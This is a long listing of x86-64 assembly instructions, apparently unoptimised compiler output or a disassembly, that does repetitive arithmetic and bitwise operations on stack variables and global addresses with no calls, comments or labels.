mov rax, qword [rsp + 0xc250]
movzx eax, byte [rax]
mov byte [rsp + 0x1d0], al
movsx eax, word [rsp + 0x18c8]
mov rcx, qword [rsp + 0xdf28]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x17b8], ax
movzx eax, byte [rsp + 0xcf]
mov byte [rsp + 0x1d1], al
mov rax, qword [rsp + 0xcb08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1930]
and eax, ecx
mov rcx, qword [rsp + 0xbda8]
mov word [rcx], ax
mov eax, dword [rsp + 0x6a68]
mov ecx, dword [rsp + 0x6dac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xe080]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbb38]
mov rax, qword [rax]
mov qword [rsp + 0xe9b0], rax
mov rax, qword [rsp + 0xbe50]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xe5f0]
shl rax, cl
mov qword [rsp + 0xcea0], rax
lea rax, [rsp + 0x68e4]
mov qword [rsp + 0xe9b8], rax
movsx eax, word [rsp + 0x1b2c]
mov rcx, qword [0x1402c93b0]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1402c7554], ax
movsx eax, byte [rsp + 0xfe]
mov rcx, qword [rsp + 0xda10]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xda], al
mov rax, qword [rsp + 0xe818]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcd58]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1868], ax
lea rax, [rsp + 0xcb]
mov qword [rsp + 0xe9c0], rax
movzx eax, word [rsp + 0x1930]
movzx ecx, word [rsp + 0x16f4]
sub eax, ecx
mov word [rsp + 0x19b8], ax
mov rax, qword [rsp + 0xe6f0]
mov eax, dword [rax]
mov dword [rsp + 0x6f14], eax
mov rax, qword [rsp + 0xc950]
mov rcx, qword [rsp + 0xcd40]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xe558], rax
mov eax, dword [rsp + 0x6b04]
mov ecx, dword [rsp + 0x6adc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x69f8], eax
lea rax, [rsp + 0xd700]
mov qword [rsp + 0xe9c8], rax
movsx eax, word [0x1402c74f0]
movsx ecx, word [rsp + 0x1774]
sub eax, ecx
mov word [0x1402c75d4], ax
mov rax, qword [rsp + 0xc158]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x73]
sub eax, ecx
mov rcx, qword [rsp + 0xbed8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1b44]
mov word [rsp + 0x1b4c], ax
movsx eax, byte [0x1402c90b3]
mov rcx, qword [rsp + 0xdc78]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x12f], al
mov rax, qword [rsp + 0xc8e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x17ac]
sub eax, ecx
mov word [rsp + 0x1790], ax
mov rax, qword [rsp + 0xcc38]
mov eax, dword [rax]
mov dword [rsp + 0x6f18], eax
mov rax, qword [rsp + 0xcc70]
mov rax, qword [rax]
mov rcx, qword [0x1402c7490]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xe960], rax
mov rax, qword [rsp + 0xe7f0]
mov eax, dword [rax]
mov dword [rsp + 0x6f1c], eax
mov rax, qword [rsp + 0xe4b8]
mov rcx, qword [rsp + 0xbcf8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd998], rax
movzx eax, byte [rsp + 0x111]
mov rcx, qword [rsp + 0xca18]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1402c9220]
mov byte [rcx], al
mov rax, qword [rsp + 0xd858]
movzx eax, byte [rax]
mov byte [rsp + 0x1d2], al
mov rax, qword [rsp + 0xcb68]
movzx eax, word [rax]
movzx ecx, word [0x1402c7580]
shl eax, cl
mov rcx, qword [rsp + 0xd588]
mov word [rcx], ax
movsx eax, word [rsp + 0x1694]
mov rcx, qword [rsp + 0xdfc0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xe750]
mov word [rcx], ax
mov rax, qword [rsp + 0xd450]
movzx eax, byte [rax]
mov byte [rsp + 0x1d3], al
mov rax, qword [rsp + 0xccc8]
mov rcx, qword [rsp + 0xd638]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6a8c], eax
mov eax, dword [rsp + 0x6c64]
mov dword [rsp + 0x6f20], eax
mov rax, qword [rsp + 0xcab8]
mov rcx, qword [rsp + 0xdb28]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe240]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe498]
mov rcx, qword [0x1402c90a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xe820], rax
movzx eax, byte [rsp + 0x111]
mov byte [0x1402c9143], al
movzx eax, byte [rsp + 0xfe]
mov byte [rsp + 0x1d4], al
mov rax, qword [rsp + 0xbf20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x19c]
sub eax, ecx
mov byte [rsp + 0x10d], al
lea rax, [rsp + 0x183c]
mov qword [rsp + 0xe9d0], rax
movzx eax, word [rsp + 0x1580]
movzx ecx, word [rsp + 0x166c]
and eax, ecx
mov word [rsp + 0x19f8], ax
mov rax, qword [rsp + 0xe718]
mov rcx, qword [0x1402c90a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xda70], rax
mov rax, qword [rsp + 0xd7d8]
mov eax, dword [rax]
mov dword [rsp + 0x6f24], eax
mov rax, qword [rsp + 0xe2b0]
mov rcx, qword [rsp + 0xe0d8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xe198]
mov qword [rcx], rax
lea rax, [rsp + 0x6ec0]
mov qword [rsp + 0xe9d8], rax
movsx eax, word [rsp + 0x1654]
movsx ecx, word [rsp + 0x1988]
add eax, ecx
mov word [rsp + 0x1830], ax
lea rax, [rsp + 0x1964]
mov qword [0x1402c9698], rax
mov rax, qword [rsp + 0xde80]
movzx eax, byte [rax]
mov byte [rsp + 0x1d5], al
movzx eax, byte [rsp + 0x93]
mov rcx, qword [rsp + 0xe7b0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xaa], al
movzx eax, word [rsp + 0x1b10]
movzx ecx, word [rsp + 0x1828]
sub eax, ecx
mov rcx, qword [rsp + 0xe260]
mov word [rcx], ax
mov eax, dword [rsp + 0x6d14]
mov dword [rsp + 0x6f28], eax
mov rax, qword [rsp + 0xd658]
mov rcx, qword [rsp + 0xcd68]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd4e0], rax
lea rax, [rsp + 0xbe28]
mov qword [rsp + 0xe9e0], rax
mov rax, qword [rsp + 0xe5c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6e64]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6da4], eax
mov rax, qword [0x1402c9350]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbd98]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd688]
mov word [rcx], ax
movzx eax, byte [rsp + 0x120]
movzx ecx, byte [rsp + 0xce]
xor eax, ecx
mov byte [0x1402c90df], al
lea rax, [rsp + 0x1978]
mov qword [rsp + 0xe9e8], rax
mov rax, qword [0x1402c94f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbef0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1b34], ax
lea rax, [rsp + 0x154]
mov qword [rsp + 0xe9f0], rax
mov rax, qword [rsp + 0xe738]
mov rcx, qword [rsp + 0xbfa0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xe348], rax
mov rax, qword [rsp + 0xc138]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6bc8]
sar eax, cl
mov rcx, qword [rsp + 0xe9d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xde20]
mov rax, qword [rax]
mov qword [rsp + 0xe9f8], rax
mov rax, qword [rsp + 0xd960]
mov rcx, qword [rsp + 0xd548]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x68d4], eax
movzx eax, word [0x1402c9388]
mov word [rsp + 0x1b50], ax
mov rax, qword [rsp + 0xd7d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbb18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c752f], al
movsx eax, byte [rsp + 0x55]
movsx ecx, byte [0x1402c90a7]
sub eax, ecx
mov byte [rsp + 0x1d1], al
mov rax, qword [rsp + 0xc288]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1af8]
and eax, ecx
mov rcx, qword [rsp + 0xcac8]
mov word [rcx], ax
mov rax, qword [rsp + 0xcf48]
movzx eax, byte [rax]
mov byte [rsp + 0x1d6], al
mov eax, dword [0x1402c90a0]
mov ecx, dword [rsp + 0x6a3c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc6b0]
mov dword [rcx], eax
lea rax, [rsp + 0xd700]
mov qword [rsp + 0xea00], rax
mov rax, qword [rsp + 0xe088]
mov rcx, qword [rsp + 0xdcc8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9e0]
mov qword [rcx], rax
lea rax, [rsp + 0x6bc8]
mov qword [rsp + 0xea08], rax
movsx eax, byte [rsp + 0x67]
mov rcx, qword [rsp + 0xc318]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc4f0]
mov byte [rcx], al
movsx eax, word [rsp + 0x15f8]
mov rcx, qword [rsp + 0xd630]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c750c], ax
movzx eax, word [rsp + 0x1994]
mov rcx, qword [rsp + 0xc8e0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc520]
mov word [rcx], ax
lea rax, [rsp + 0x6f]
mov qword [rsp + 0xea10], rax
mov rax, qword [rsp + 0xbed8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14c]
shl eax, cl
mov rcx, qword [rsp + 0xc4f0]
mov byte [rcx], al
movzx eax, byte [rsp + 0xdb]
mov byte [rsp + 0x1d7], al
mov rax, qword [rsp + 0xd220]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6dc0]
sar eax, cl
mov rcx, qword [rsp + 0xcda8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xdeb0]
mov rcx, qword [rsp + 0xdc70]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xbb70], rax
mov rax, qword [rsp + 0xd3d0]
mov eax, dword [rax]
mov dword [rsp + 0x6f2c], eax
mov rax, qword [rsp + 0xcaf8]
mov rcx, qword [rsp + 0xd2e0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc2a8], rax
mov rax, qword [rsp + 0xc610]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd318]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1402c74a3], al
mov rax, qword [0x1402c9698]
movzx eax, word [rax]
mov word [rsp + 0x1b54], ax
mov rax, qword [rsp + 0xcef0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd630]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xcd60]
mov word [rcx], ax
movsx eax, byte [rsp + 0x95]
movsx ecx, byte [rsp + 0xf7]
add eax, ecx
mov byte [rsp + 0x12e], al
movzx eax, word [0x1402c9278]
mov word [rsp + 0x1b58], ax
mov rax, qword [rsp + 0xe5e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d88]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ea8], eax
lea rax, [rsp + 0xdc70]
mov qword [rsp + 0xea18], rax
mov rax, qword [rsp + 0xc110]
mov rcx, qword [rsp + 0xd480]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc988]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbdd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6ef4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd3f0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x160]
movzx ecx, byte [rsp + 0xe5]
sub eax, ecx
mov byte [0x1402c7532], al
movzx eax, byte [rsp + 0x1ac]
mov byte [rsp + 0x1d8], al
movzx eax, word [rsp + 0x1790]
movzx ecx, word [rsp + 0x15b0]
sub eax, ecx
mov word [rsp + 0x1a44], ax
movzx eax, byte [rsp + 0xe9]
mov byte [rsp + 0x1d9], al
movsx eax, word [rsp + 0x1a68]
movsx ecx, word [rsp + 0x1744]
sub eax, ecx
mov rcx, qword [rsp + 0xccd0]
mov word [rcx], ax
lea rax, [rsp + 0xdb08]
mov qword [rsp + 0xea20], rax
mov rax, qword [rsp + 0xdc58]
mov rcx, qword [rsp + 0xd920]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6b24], eax
mov eax, dword [rsp + 0x6e38]
mov rcx, qword [rsp + 0xe6d0]
mov qword [rsp + 0xea28], rcx
movzx ecx, al
mov rax, qword [rsp + 0xea28]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6ae0], eax
mov rax, qword [rsp + 0xe0b0]
mov qword [rsp + 0xea30], rax
movsx eax, word [rsp + 0x18a4]
mov rcx, qword [rsp + 0xc178]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x1402c93d8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x58]
movsx ecx, byte [rsp + 0x6a]
shl eax, cl
mov rcx, qword [rsp + 0xc250]
mov byte [rcx], al
lea rax, [rsp + 0x166c]
mov qword [rsp + 0xea38], rax
mov rax, qword [rsp + 0xdf28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc758]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc490]
mov word [rcx], ax
movzx eax, byte [rsp + 0xaa]
movzx ecx, byte [rsp + 0x1bf]
and eax, ecx
mov rcx, qword [rsp + 0xcec8]
mov byte [rcx], al
mov rax, qword [rsp + 0xe0b0]
mov qword [rsp + 0xea40], rax
mov rax, qword [rsp + 0xd6a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6aa4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6e00], eax
lea rax, [rsp + 0x6df4]
mov qword [rsp + 0xea48], rax
mov rax, qword [rsp + 0xcaa8]
mov rcx, qword [rsp + 0xcb10]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcc00], rax
mov rax, qword [rsp + 0xe188]
movzx eax, word [rax]
mov word [0x1402c96a0], ax
mov rax, qword [0x1402c9620]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbe70]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x13b], al
lea rax, [rsp + 0x1624]
mov qword [rsp + 0xea50], rax
mov rax, qword [rsp + 0xc190]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd440]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd180]
mov byte [rcx], al
lea rax, [rsp + 0x1550]
mov qword [rsp + 0xea58], rax
mov rax, qword [rsp + 0xd3f8]
mov rcx, qword [rsp + 0xd920]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6a94], eax
lea rax, [rsp + 0x6d4c]
mov qword [rsp + 0xea60], rax
mov rax, qword [rsp + 0xc1c8]
mov rcx, qword [rsp + 0xd0e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xe108], rax
mov rax, qword [rsp + 0xdd58]
mov rcx, qword [rsp + 0xd7e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbd00], rax
mov rax, qword [rsp + 0xe560]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdb98]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c75b8], ax
lea rax, [rsp + 0x17e]
mov qword [rsp + 0xea68], rax
mov rax, qword [rsp + 0xd9c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc250]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd288]
mov byte [rcx], al
lea rax, [rsp + 0x177c]
mov qword [rsp + 0xea70], rax
movsx eax, byte [rsp + 0x16b]
movsx ecx, byte [rsp + 0x188]
shl eax, cl
mov rcx, qword [rsp + 0xd7a8]
mov byte [rcx], al
mov rax, qword [rsp + 0xdaf0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd300]
mov qword [rsp + 0xea78], rcx
movzx ecx, al
mov rax, qword [rsp + 0xea78]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6b80], eax
lea rax, [rsp + 0xe388]
mov qword [rsp + 0xea80], rax
mov rax, qword [rsp + 0xd188]
mov ecx, dword [rsp + 0x6b00]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x68d8], eax
mov rax, qword [rsp + 0xc4d8]
mov qword [rsp + 0xea88], rax
lea rax, [rsp + 0x19a]
mov qword [0x1402c96a8], rax
mov rax, qword [0x1402c9640]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15b4]
xor eax, ecx
mov rcx, qword [rsp + 0xe7d8]
mov word [rcx], ax
mov rax, qword [rsp + 0xd160]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a14]
cdq
idiv ecx
mov rcx, qword [rsp + 0xddc8]
mov word [rcx], ax
mov rax, qword [rsp + 0xcef0]
movzx eax, word [rax]
mov word [rsp + 0x1b5c], ax
mov rax, qword [0x1402c9260]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x12c]
and eax, ecx
mov byte [rsp + 0x193], al
lea rax, [rsp + 0xbf38]
mov qword [rsp + 0xea90], rax
mov rax, qword [rsp + 0xdce8]
mov rcx, qword [rsp + 0xe2e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xcf30]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe0a0]
mov rcx, qword [rsp + 0xe180]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x696c], eax
mov eax, dword [rsp + 0x6abc]
mov dword [rsp + 0x6f30], eax
mov rax, qword [rsp + 0xe7d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc998]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1402c9268]
mov word [rcx], ax
movsx eax, byte [rsp + 0x138]
movsx ecx, byte [rsp + 0x167]
add eax, ecx
mov rcx, qword [rsp + 0xbd28]
mov byte [rcx], al
lea rax, [rsp + 0x1ac8]
mov qword [rsp + 0xea98], rax
mov rax, qword [rsp + 0xe480]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcb90]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xdc78]
mov byte [rcx], al
movzx eax, byte [rsp + 0x127]
mov byte [rsp + 0x1da], al
mov rax, qword [rsp + 0xc010]
mov ecx, dword [rsp + 0x6a38]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6b5c], eax
mov rax, qword [rsp + 0xbfa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xda90]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbd48]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd730]
mov qword [rsp + 0xeaa0], rax
mov rax, qword [rsp + 0xcbb0]
mov rcx, qword [rsp + 0xc268]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x6ea0], eax
mov rax, qword [rsp + 0xd798]
movzx eax, byte [rax]
mov byte [rsp + 0x1db], al
mov rax, qword [rsp + 0xe148]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xca98]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402c75d8], ax
mov rax, qword [rsp + 0xc288]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1a64]
or eax, ecx
mov word [rsp + 0x17dc], ax
mov rax, qword [rsp + 0xdfd8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x180]
sar eax, cl
mov rcx, qword [rsp + 0xbfb0]
mov byte [rcx], al
lea rax, [rsp + 0x61]
mov qword [rsp + 0xeaa8], rax
mov rax, qword [rsp + 0xe690]
movzx ecx, al
mov rax, qword [rsp + 0xc4c0]
shl rax, cl
mov rcx, qword [rsp + 0xdf90]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe580]
mov eax, dword [rax]
mov dword [rsp + 0x6f34], eax
mov rax, qword [rsp + 0xce08]
mov rcx, qword [rsp + 0xbb70]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xea40], rax
mov rax, qword [rsp + 0xdc88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a38]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc3e8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1cc]
mov byte [rsp + 0x1dc], al
movsx eax, word [rsp + 0x19e8]
mov rcx, qword [rsp + 0xc8a0]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1402c75dc], ax
movzx eax, word [rsp + 0x1878]
mov rcx, qword [rsp + 0xe420]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b00], ax
mov rax, qword [0x1402c91a8]
movzx eax, byte [rax]
mov byte [rsp + 0x1dd], al
mov rax, qword [rsp + 0xd2b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xea98]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b04], ax
mov rax, qword [rsp + 0xca88]
mov rax, qword [rax]
mov qword [rsp + 0xeab0], rax
mov rax, qword [rsp + 0xd5c8]
mov rcx, qword [rsp + 0xd9b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xe5e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xce18]
mov rcx, qword [rsp + 0xd750]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc608], rax
lea rax, [rsp + 0x6cc0]
mov qword [rsp + 0xeab8], rax
mov rax, qword [rsp + 0xe420]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b10]
sub eax, ecx
mov word [rsp + 0x1b58], ax
movsx eax, word [rsp + 0x1a60]
mov rcx, qword [rsp + 0xbc68]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1402c9240]
mov word [rcx], ax
mov rax, qword [rsp + 0xdcc0]
movzx eax, byte [rax]
mov byte [rsp + 0x1de], al
movsx eax, byte [rsp + 0xb3]
mov rcx, qword [rsp + 0xe208]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xde], al
mov rax, qword [rsp + 0xd450]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1cb]
and eax, ecx
mov byte [rsp + 0x141], al
mov rax, qword [rsp + 0xe270]
mov qword [rsp + 0xeac0], rax
mov rax, qword [rsp + 0xc008]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbfa8]
mov qword [rsp + 0xeac8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xeac8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xd178], rax
mov rax, qword [rsp + 0xe990]
mov eax, dword [rax]
mov dword [rsp + 0x6f38], eax
mov eax, dword [rsp + 0x6bfc]
mov ecx, dword [rsp + 0x6e10]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6cb8], eax
mov rax, qword [rsp + 0xcec8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe9f0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xbfc0]
mov byte [rcx], al
lea rax, [rsp + 0x18c8]
mov qword [0x1402c96b0], rax
lea rax, [rsp + 0x170]
mov qword [rsp + 0xead0], rax
movsx eax, word [rsp + 0x1544]
mov rcx, qword [0x1402c9358]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x18fc], ax
movzx eax, word [rsp + 0x178c]
mov word [rsp + 0x1b60], ax
mov rax, qword [rsp + 0xc190]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x83]
add eax, ecx
mov rcx, qword [rsp + 0xe600]
mov byte [rcx], al
mov rax, qword [rsp + 0xcf08]
mov rcx, qword [rsp + 0xd5b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xe6a0]
mov dword [rcx], eax
lea rax, [rsp + 0xe320]
mov qword [rsp + 0xead8], rax
mov eax, dword [rsp + 0x6e58]
mov ecx, dword [rsp + 0x6d9c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xe608]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd208]
mov rax, qword [rax]
mov qword [rsp + 0xeae0], rax
mov rax, qword [rsp + 0xd4e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc998]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1402c9398]
mov word [rcx], ax
movzx eax, word [rsp + 0x1678]
mov rcx, qword [rsp + 0xe670]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x184c], ax
mov rax, qword [rsp + 0xd258]
movzx eax, byte [rax]
mov byte [rsp + 0x1df], al
mov rax, qword [rsp + 0xc490]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1804]
sub eax, ecx
mov word [rsp + 0x1b30], ax
mov rax, qword [rsp + 0xbdf8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x131]
add eax, ecx
mov byte [rsp + 0x5a], al
lea rax, [0x1402c7498]
mov qword [rsp + 0xeae8], rax
mov eax, dword [rsp + 0x6d48]
mov ecx, dword [rsp + 0x6ecc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xce38]
mov dword [rcx], eax
lea rax, [rsp + 0xdd48]
mov qword [rsp + 0xeaf0], rax
mov rax, qword [rsp + 0xe3b8]
mov rcx, qword [rsp + 0xd018]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd3c0], rax
movzx eax, word [rsp + 0x1858]
movzx ecx, word [rsp + 0x19d4]
sub eax, ecx
mov word [0x1402c9450], ax
movzx eax, byte [rsp + 0xf0]
movzx ecx, byte [0x1402c74cf]
sub eax, ecx
mov byte [rsp + 0x1a3], al
mov rax, qword [rsp + 0xccb0]
movzx eax, byte [rax]
mov byte [rsp + 0x1e0], al
movzx eax, word [rsp + 0x1900]
mov rcx, qword [rsp + 0xe488]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xdb68]
mov word [rcx], ax
movzx eax, byte [rsp + 0x96]
mov byte [rsp + 0x1e1], al
mov rax, qword [rsp + 0xcaf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe9b0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd870], rax
mov rax, qword [rsp + 0xc958]
mov rcx, qword [rsp + 0xd7e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xc280]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe530]
mov eax, dword [rax]
mov dword [rsp + 0x6f3c], eax
mov eax, dword [rsp + 0x6dcc]
mov rcx, qword [rsp + 0xe120]
mov qword [rsp + 0xeaf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xeaf8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6f1c], eax
mov rax, qword [rsp + 0xcb18]
movzx eax, word [rax]
mov word [0x1402c96b8], ax
lea rax, [rsp + 0x188]
mov qword [rsp + 0xeb00], rax
movzx eax, byte [0x1402c74ca]
movzx ecx, byte [rsp + 0xbc]
and eax, ecx
mov rcx, qword [rsp + 0xd7d0]
mov byte [rcx], al
movsx eax, word [rsp + 0x188c]
mov rcx, qword [rsp + 0xd8d0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd3c8]
mov word [rcx], ax
movzx eax, word [rsp + 0x19f4]
mov word [rsp + 0x1b64], ax
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xd4f0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xd6e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcc80]
mov rax, qword [rax]
mov qword [rsp + 0xeb08], rax
mov rax, qword [rsp + 0xdc80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6be4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c14], eax
mov eax, dword [0x1402c7498]
mov dword [rsp + 0x6f40], eax
lea rax, [rsp + 0x18e]
mov qword [0x1402c96c0], rax
movzx eax, word [rsp + 0x1798]
mov rcx, qword [rsp + 0xbd80]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b48], ax
mov rax, qword [rsp + 0xc288]
movsx eax, word [rax]
movsx ecx, word [0x1402c91d8]
sub eax, ecx
mov rcx, qword [rsp + 0xe460]
mov word [rcx], ax
mov rax, qword [rsp + 0xd988]
movzx eax, byte [rax]
mov byte [rsp + 0x1e2], al
mov rax, qword [rsp + 0xbbd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1730]
add eax, ecx
mov word [rsp + 0x1994], ax
mov rax, qword [rsp + 0xdd28]
mov qword [rsp + 0xeb10], rax
mov rax, qword [rsp + 0xbb70]
